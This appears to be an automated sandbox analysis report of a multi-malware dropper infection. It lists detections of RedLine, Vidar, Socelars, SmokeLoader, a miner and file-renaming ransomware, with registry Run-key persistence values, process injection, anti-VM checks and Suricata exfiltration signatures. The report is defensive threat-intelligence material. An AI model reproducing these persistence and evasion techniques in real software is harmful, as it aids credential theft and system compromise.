djvu | c48cd55efee57f0b7ff4547a0a20ebfbdf4188d059512b10a29879bf30c4fc19

Change Default File Association

T1042

Processes:

OneDriveSetup.exe

description	ioc	process
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\lnkfile\shellex\ContextMenuHandlers\ FileSyncEx	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\lnkfile\shellex\ContextMenuHandlers\ FileSyncEx	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\lnkfile\shellex\ContextMenuHandlers\ FileSyncEx\ = "{CB3D0F55-BC2C-4C1A-85ED-23ED75B5106B}"	OneDriveSetup.exe

Process spawned unexpected child process 3 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

rundll32.exerundll32.exerundll32.exe

description	pid	pid_target	process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1000	4376	rundll32.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5852	4376	rundll32.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7708	4376	rundll32.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 4 IoCs

Processes:

resource	yara_rule
behavioral7/memory/3964-211-0x0000000004AA0000-0x0000000004ABF000-memory.dmp	family_redline
behavioral7/memory/3964-218-0x0000000004EB0000-0x0000000004ECE000-memory.dmp	family_redline
behavioral7/memory/512-316-0x000000000041C5DE-mapping.dmp	family_redline
behavioral7/memory/5820-461-0x000000000041C5E2-mapping.dmp	family_redline

Registers COM server for autorun 1 TTPs
persistence

Registry Run Keys / Startup Folder
T1060
ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
stealer socelars

Socelars Payload 2 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\7zS0E37ED34\Sun05d60bc3b96248e5.exe	family_socelars
C:\Users\Admin\AppData\Local\Temp\7zS0E37ED34\Sun05d60bc3b96248e5.exe	family_socelars

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

Processes:

WerFault.exe

description pid process target process

PID 5920 created 3316 5920 WerFault.exe setup.exe
Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

Processes:

svchost.exe

description pid process target process

PID 6376 created 4588 6376 svchost.exe LzmwAqmV.exe
PID 6376 created 5272 6376 svchost.exe OneDriveSetup.exe
Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
suricata
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
suricata
suricata: ET MALWARE Observed Win32/Ymacco.AA36 User-Agent
suricata: ET MALWARE Observed Win32/Ymacco.AA36 User-Agent
suricata
suricata: ET MALWARE Potential Dridex.Maldoc Minimal Executable Request
suricata: ET MALWARE Potential Dridex.Maldoc Minimal Executable Request
suricata
suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
suricata
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
suricata
suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil
suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil
suricata
suricata: ET MALWARE Win32/Adware.Agent.NSU CnC Activity
suricata: ET MALWARE Win32/Adware.Agent.NSU CnC Activity
suricata
suricata: ET MALWARE Win32/Adware.Agent.NSU CnC Activity M2
suricata: ET MALWARE Win32/Adware.Agent.NSU CnC Activity M2
suricata
suricata: ET MALWARE Win32/Tnega Activity (GET)
suricata: ET MALWARE Win32/Tnega Activity (GET)
suricata
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
evasion

Software Discovery
T1518
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

description	pid	process	target process
PID 5920 created 3316	5920	WerFault.exe	setup.exe

description	pid	process	target process
PID 6376 created 4588	6376	svchost.exe	LzmwAqmV.exe
PID 6376 created 5272	6376	svchost.exe	OneDriveSetup.exe

Vidar Stealer 2 IoCs

stealer

Processes:

resource	yara_rule
behavioral7/memory/4236-220-0x00000000034E0000-0x00000000035B1000-memory.dmp	family_vidar
behavioral7/memory/4236-224-0x0000000000400000-0x00000000017F2000-memory.dmp	family_vidar

ASPack v2.12-2.42 6 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\7zS0E37ED34\libcurl.dll	aspack_v212_v242
\Users\Admin\AppData\Local\Temp\7zS0E37ED34\libcurl.dll	aspack_v212_v242
\Users\Admin\AppData\Local\Temp\7zS0E37ED34\libcurlpp.dll	aspack_v212_v242
C:\Users\Admin\AppData\Local\Temp\7zS0E37ED34\libstdc++-6.dll	aspack_v212_v242
\Users\Admin\AppData\Local\Temp\7zS0E37ED34\libstdc++-6.dll	aspack_v212_v242
C:\Users\Admin\AppData\Local\Temp\7zS0E37ED34\libcurlpp.dll	aspack_v212_v242

Blocklisted process makes network request 52 IoCs

Processes:

cmd.exepowershell.exeMsiExec.exe

flow	pid	process
71	5408	cmd.exe
131	64	powershell.exe
228	5044	MsiExec.exe
231	5044	MsiExec.exe
233	5044	MsiExec.exe
235	5044	MsiExec.exe
238	5044	MsiExec.exe
239	5044	MsiExec.exe
241	5044	MsiExec.exe
245	5044	MsiExec.exe
246	5044	MsiExec.exe
247	5044	MsiExec.exe
249	5044	MsiExec.exe
250	5044	MsiExec.exe
251	5044	MsiExec.exe
252	5044	MsiExec.exe
253	5044	MsiExec.exe
254	5044	MsiExec.exe
255	5044	MsiExec.exe
256	5044	MsiExec.exe
257	5044	MsiExec.exe
259	5044	MsiExec.exe
260	5044	MsiExec.exe
262	5044	MsiExec.exe
264	5044	MsiExec.exe
265	5044	MsiExec.exe
267	5044	MsiExec.exe
268	5044	MsiExec.exe
270	5044	MsiExec.exe
271	5044	MsiExec.exe
272	5044	MsiExec.exe
273	5044	MsiExec.exe
274	5044	MsiExec.exe
278	5044	MsiExec.exe
279	5044	MsiExec.exe
280	5044	MsiExec.exe
281	5044	MsiExec.exe
282	5044	MsiExec.exe
285	5044	MsiExec.exe
286	5044	MsiExec.exe
287	5044	MsiExec.exe
288	5044	MsiExec.exe
289	5044	MsiExec.exe
291	5044	MsiExec.exe
292	5044	MsiExec.exe
293	5044	MsiExec.exe
294	5044	MsiExec.exe
296	5044	MsiExec.exe
298	5044	MsiExec.exe
299	5044	MsiExec.exe
71	5408	cmd.exe
344	5408	cmd.exe

Downloads MZ/PE file
Drops file in Drivers directory 1 IoCs

Processes:

46807GHF____.exe

description ioc process

File opened for modification C:\Windows\system32\drivers\etc\hosts 46807GHF____.exe

description	ioc	process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	46807GHF____.exe

Executes dropped EXE 64 IoCs

Processes:

setup_installer.exesetup_install.exeSun05ac1b0207d3ff3b8.exeSun05532f7abc.exeSun052bbd8bebd9.exeSun05640630a6aa.exeSun050462125c7d35.exeSun059375dac544fc4a.exeSun05d60bc3b96248e5.exeSun054fe19a12cb3.exeSun05fa3b4d2ae56e.exeSun05899db881f67fb29.exeSun054fe19a12cb3.tmp46807GHF____.exe426984.exeLzmwAqmV.exe5512997.exeChrome 5.exe4028085.exePublicDwlBrowser1100.exe2.exeWinHoster.exe6571440.exesetup.exeudptest.exesetup_2.exe4028085.exesvchost.exejhuuee.exesetup_2.tmpBearVpn 3.exeConhost.exesetup_2.tmpLzmwAqmV.exepostback.exe3002.exe8357891.exe3738390.exe6718173.exe5107145.exe6718173.exeultramediaburner.exeHyhashuzhaeca.exeultramediaburner.tmpLazhewuceshu.exeUltraMediaBurner.execvtres.exeservices64.exeTrustedInstaller.exeinstaller.exeanyname.exegcleaner.exedtQHSM97P.exesihost64.exeLzmwAqmV.exeD1C8.exe888.exehigqBtICw.exe888.exe888.exe59B7.exe888.exebuild2.exebuild2.exe

pid	process
5088	setup_installer.exe
4124	setup_install.exe
4236	Sun05ac1b0207d3ff3b8.exe
4228	Sun05532f7abc.exe
3964	Sun052bbd8bebd9.exe
4368	Sun05640630a6aa.exe
4084	Sun050462125c7d35.exe
3884	Sun059375dac544fc4a.exe
1832	Sun05d60bc3b96248e5.exe
3996	Sun054fe19a12cb3.exe
3352	Sun05fa3b4d2ae56e.exe
4500	Sun05899db881f67fb29.exe
648	Sun054fe19a12cb3.tmp
1772	46807GHF____.exe
2644	426984.exe
2676	LzmwAqmV.exe
4860	5512997.exe
4816	Chrome 5.exe
5084	4028085.exe
4920	PublicDwlBrowser1100.exe
3444	2.exe
3196	WinHoster.exe
4420	6571440.exe
3316	setup.exe
4496	udptest.exe
1424	setup_2.exe
512	4028085.exe
4880	svchost.exe
748	jhuuee.exe
5112	setup_2.tmp
500	BearVpn 3.exe
4596	Conhost.exe
1212	setup_2.tmp
4588	LzmwAqmV.exe
3708	postback.exe
1272	3002.exe
420	8357891.exe
1160	3738390.exe
5256	6718173.exe
5408	5107145.exe
5820	6718173.exe
5840	ultramediaburner.exe
5156	Hyhashuzhaeca.exe
3892	ultramediaburner.tmp
632	Lazhewuceshu.exe
5960	UltraMediaBurner.exe
3384	cvtres.exe
6256	services64.exe
4504	TrustedInstaller.exe
6536	installer.exe
1388	anyname.exe
4468	gcleaner.exe
7748	dtQHSM97P.exe
4112	sihost64.exe
6500	LzmwAqmV.exe
8008	D1C8.exe
7708	888.exe
7848	higqBtICw.exe
4164	888.exe
5204	888.exe
6788	59B7.exe
7632	888.exe
6960	build2.exe
4972	build2.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Modifies extensions of user files 12 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

888.exe

description	ioc	process
File renamed	C:\Users\Admin\Pictures\SendAssert.png => C:\Users\Admin\Pictures\SendAssert.png.wiot	888.exe
File renamed	C:\Users\Admin\Pictures\DebugConvertTo.tif => C:\Users\Admin\Pictures\DebugConvertTo.tif.wiot	888.exe
File renamed	C:\Users\Admin\Pictures\DisconnectResume.tif => C:\Users\Admin\Pictures\DisconnectResume.tif.wiot	888.exe
File renamed	C:\Users\Admin\Pictures\RestartWatch.tif => C:\Users\Admin\Pictures\RestartWatch.tif.wiot	888.exe
File renamed	C:\Users\Admin\Pictures\RevokeGrant.crw => C:\Users\Admin\Pictures\RevokeGrant.crw.wiot	888.exe
File renamed	C:\Users\Admin\Pictures\PingRegister.raw => C:\Users\Admin\Pictures\PingRegister.raw.wiot	888.exe
File renamed	C:\Users\Admin\Pictures\PublishConvert.raw => C:\Users\Admin\Pictures\PublishConvert.raw.wiot	888.exe
File renamed	C:\Users\Admin\Pictures\SendUse.raw => C:\Users\Admin\Pictures\SendUse.raw.wiot	888.exe
File renamed	C:\Users\Admin\Pictures\AddRegister.crw => C:\Users\Admin\Pictures\AddRegister.crw.wiot	888.exe
File renamed	C:\Users\Admin\Pictures\CompareGroup.crw => C:\Users\Admin\Pictures\CompareGroup.crw.wiot	888.exe
File renamed	C:\Users\Admin\Pictures\FindExport.crw => C:\Users\Admin\Pictures\FindExport.crw.wiot	888.exe
File renamed	C:\Users\Admin\Pictures\JoinSend.crw => C:\Users\Admin\Pictures\JoinSend.crw.wiot	888.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

23CE.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	23CE.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	23CE.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

Hyhashuzhaeca.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Control Panel\International\Geo\Nation	Hyhashuzhaeca.exe

Loads dropped DLL 56 IoCs

Processes:

setup_install.exeSun054fe19a12cb3.tmpsetup_2.tmpsetup_2.tmpmsiexec.exeSun05ac1b0207d3ff3b8.exerundll32.execvtres.exeinstaller.exeMsiExec.exerundll32.exeMsiExec.exenet1.exe59B7.exebuild2.exeFileSyncConfig.exe

pid	process
4124	setup_install.exe
4124	setup_install.exe
4124	setup_install.exe
4124	setup_install.exe
4124	setup_install.exe
4124	setup_install.exe
4124	setup_install.exe
648	Sun054fe19a12cb3.tmp
5112	setup_2.tmp
1212	setup_2.tmp
688	msiexec.exe
4236	Sun05ac1b0207d3ff3b8.exe
5380	rundll32.exe
4236	Sun05ac1b0207d3ff3b8.exe
3384	cvtres.exe
3384	cvtres.exe
6536	installer.exe
6536	installer.exe
6536	installer.exe
6724	MsiExec.exe
6724	MsiExec.exe
7720	rundll32.exe
5044	MsiExec.exe
5044	MsiExec.exe
5044	MsiExec.exe
5044	MsiExec.exe
5044	MsiExec.exe
5044	MsiExec.exe
5044	MsiExec.exe
5044	MsiExec.exe
5044	MsiExec.exe
5044	MsiExec.exe
6536	installer.exe
5044	MsiExec.exe
5044	MsiExec.exe
6364	net1.exe
6364	net1.exe
6364	net1.exe
6364	net1.exe
6364	net1.exe
6364	net1.exe
6364	net1.exe
5044	MsiExec.exe
6788	59B7.exe
6788	59B7.exe
6788	59B7.exe
6788	59B7.exe
6788	59B7.exe
4972	build2.exe
4972	build2.exe
6760	FileSyncConfig.exe
6760	FileSyncConfig.exe
6760	FileSyncConfig.exe
6760	FileSyncConfig.exe
6760	FileSyncConfig.exe
6760	FileSyncConfig.exe

Modifies file permissions 1 TTPs 1 IoCs
discovery

File Permissions Modification
T1222

Processes:

icacls.exe

pid process

7236 icacls.exe
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

pid	process
7236	icacls.exe

Adds Run key to start application 2 TTPs 6 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

Processes:

46807GHF____.exe888.exeOneDriveSetup.exe5512997.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\system recover = "\"C:\\Program Files (x86)\\Internet Explorer\\Haewugocira.exe\""	46807GHF____.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\9bf0f732-159c-4aba-b439-f2aa2602b9be\\888.exe\" --AutoStart"	888.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Delete Cached Update Binary = "C:\\Windows\\system32\\cmd.exe /q /c del /q \"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\Update\\OneDriveSetup.exe\""	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Delete Cached Standalone Update Binary = "C:\\Windows\\system32\\cmd.exe /q /c del /q \"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\StandaloneUpdater\\OneDriveSetup.exe\""	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe"	5512997.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 8 IoCs

evasion trojan

System Information Discovery

Processes:

ultramediaburner.tmpLazhewuceshu.exeUltraMediaBurner.exe23CE.execmd.exeSun054fe19a12cb3.tmpsetup_2.tmpsetup.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	ultramediaburner.tmp
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Lazhewuceshu.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	UltraMediaBurner.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	23CE.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	cmd.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Sun054fe19a12cb3.tmp
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	setup_2.tmp
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	setup.exe

Enumerates connected drives 3 TTPs 48 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

msiexec.exeinstaller.exe

description	ioc	process
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\G:	installer.exe
File opened (read-only)	\??\P:	installer.exe
File opened (read-only)	\??\W:	installer.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\B:	installer.exe
File opened (read-only)	\??\H:	installer.exe
File opened (read-only)	\??\R:	installer.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\K:	installer.exe
File opened (read-only)	\??\Z:	installer.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\F:	installer.exe
File opened (read-only)	\??\X:	installer.exe
File opened (read-only)	\??\F:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\A:	installer.exe
File opened (read-only)	\??\L:	installer.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\T:	installer.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\O:	installer.exe
File opened (read-only)	\??\Q:	installer.exe
File opened (read-only)	\??\U:	installer.exe
File opened (read-only)	\??\V:	installer.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\E:	installer.exe
File opened (read-only)	\??\M:	installer.exe
File opened (read-only)	\??\N:	installer.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Y:	installer.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\I:	installer.exe
File opened (read-only)	\??\J:	installer.exe
File opened (read-only)	\??\S:	installer.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 10 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

107 ip-api.com
275 api.2ip.ua
276 api.2ip.ua
570 api.2ip.ua
577 api.2ip.ua
646 api.2ip.ua
15 ip-api.com
569 api.2ip.ua
576 api.2ip.ua
313 api.2ip.ua

flow	ioc
107	ip-api.com
275	api.2ip.ua
276	api.2ip.ua
570	api.2ip.ua
577	api.2ip.ua
646	api.2ip.ua
15	ip-api.com
569	api.2ip.ua
576	api.2ip.ua
313	api.2ip.ua

Drops file in System32 directory 17 IoCs

Processes:

svchost.exesvchost.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\Tasks\Firefox Default Browser Agent 9D99A3BD6DFA3186	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\AdvancedWindowsManager #2	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Azure-Update-Task	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\OneDrive Standalone Update Task-S-1-5-21-2559286294-2439613352-4032193287-1000	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\644B8874112055B5E195ECB0E8F243A4	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\AdvancedWindowsManager #1	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\AdvancedUpdater	svchost.exe
File created	C:\Windows\SysWOW64\rdpclip.exe	powershell.exe
File opened for modification	C:\Windows\System32\Tasks\User_Feed_Synchronization-{4F246605-F333-40E5-8FE6-2ED3621ADF90}	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\644B8874112055B5E195ECB0E8F243A4	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\AdvancedWindowsManager #3	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\AdvancedWindowsManager #5	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\AdvancedWindowsManager #6	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Time Trigger Task	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\services64	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\AdvancedWindowsManager #4	svchost.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

Processes:

23CE.exe

pid process

2692 23CE.exe

pid	process
2692	23CE.exe

Suspicious use of SetThreadContext 12 IoCs

Processes:

4028085.exesvchost.exepostback.exe6718173.exeservices64.exe888.exe888.exebuild2.exebuild3.exe888.exe888.exe888.exe

description	pid	process	target process
PID 5084 set thread context of 512	5084	4028085.exe	4028085.exe
PID 2572 set thread context of 3452	2572	svchost.exe	svchost.exe
PID 3708 set thread context of 5680	3708	postback.exe	explorer.exe
PID 5256 set thread context of 5820	5256	6718173.exe	6718173.exe
PID 6256 set thread context of 6976	6256	services64.exe	explorer.exe
PID 7708 set thread context of 4164	7708	888.exe	888.exe
PID 5204 set thread context of 7632	5204	888.exe	888.exe
PID 6960 set thread context of 4972	6960	build2.exe	build2.exe
PID 5932 set thread context of 3908	5932	build3.exe	build3.exe
PID 2268 set thread context of 2316	2268	888.exe	888.exe
PID 4116 set thread context of 4436	4116	888.exe	888.exe
PID 6680 set thread context of 7412	6680	888.exe	888.exe

Drops file in Program Files directory 16 IoCs

Processes:

ultramediaburner.tmp46807GHF____.exemsiexec.exesetup_2.tmp

description	ioc	process
File created	C:\Program Files (x86)\UltraMediaBurner\unins000.dat	ultramediaburner.tmp
File created	C:\Program Files (x86)\Internet Explorer\Haewugocira.exe.config	46807GHF____.exe
File opened for modification	C:\Program Files (x86)\AW Manager\Windows Manager\EULA.url	msiexec.exe
File opened for modification	C:\Program Files (x86)\FarLabUninstaller\unins000.dat	setup_2.tmp
File created	C:\Program Files (x86)\Internet Explorer\Haewugocira.exe	46807GHF____.exe
File opened for modification	C:\Program Files (x86)\UltraMediaBurner\unins000.dat	ultramediaburner.tmp
File created	C:\Program Files (x86)\FarLabUninstaller\is-5N8RV.tmp	setup_2.tmp
File created	C:\Program Files (x86)\UltraMediaBurner\is-1IMSN.tmp	ultramediaburner.tmp
File created	C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe	msiexec.exe
File opened for modification	C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.ini	msiexec.exe
File opened for modification	C:\Program Files (x86)\AW Manager\Windows Manager\Privacy.url	msiexec.exe
File created	C:\Program Files (x86)\FarLabUninstaller\unins000.dat	setup_2.tmp
File opened for modification	C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe	ultramediaburner.tmp
File created	C:\Program Files (x86)\UltraMediaBurner\is-8AKQJ.tmp	ultramediaburner.tmp
File created	C:\Program Files (x86)\AW Manager\Windows Manager\AdvancedWindowsManager.exe	msiexec.exe
File created	C:\Program Files (x86)\AW Manager\Windows Manager\Uninstall.lnk	msiexec.exe

Drops file in Windows directory 58 IoCs

Processes:

msiexec.exepowershell.exepowershell.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeExplorer.EXEMicrosoftEdgeCP.exeMicrosoftEdgeCP.exe

description	ioc	process
File created	C:\Windows\Installer\f75931c.msi	msiexec.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\Installer\MSI95F7.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIB2C1.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIB3AD.tmp	msiexec.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\Installer\MSIC18D.tmp	msiexec.exe
File created	C:\Windows\Installer\{C845414C-903C-4218-9DE7-132AB97FDF62}\logo.exe	msiexec.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri	MicrosoftEdgeCP.exe
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri	MicrosoftEdgeCP.exe
File opened for modification	C:\Windows\Installer\MSI9A6E.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI9AAE.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIAFD0.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIB3AC.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIBEBD.tmp	msiexec.exe
File opened for modification	C:\Windows\Debug\ESE.TXT	MicrosoftEdge.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI9B4D.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIB158.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIC691.tmp	msiexec.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File created	C:\Windows\Installer\f759319.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIB0DA.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIBCB9.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIC548.tmp	msiexec.exe
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri	MicrosoftEdgeCP.exe
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri	MicrosoftEdgeCP.exe
File opened for modification	C:\Windows\Installer\f759319.msi	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri	MicrosoftEdge.exe
File opened for modification	C:\Windows\Installer\{C845414C-903C-4218-9DE7-132AB97FDF62}\logo.exe	msiexec.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri	MicrosoftEdgeCP.exe
File opened for modification	C:\Windows\Installer\MSI99F0.tmp	msiexec.exe
File created	C:\Windows\Installer\SourceHash{C845414C-903C-4218-9DE7-132AB97FDF62}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIB97B.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIC363.tmp	msiexec.exe
File created	C:\Windows\rescache\_merged\3720402701\2274612954.pri	MicrosoftEdgeCP.exe
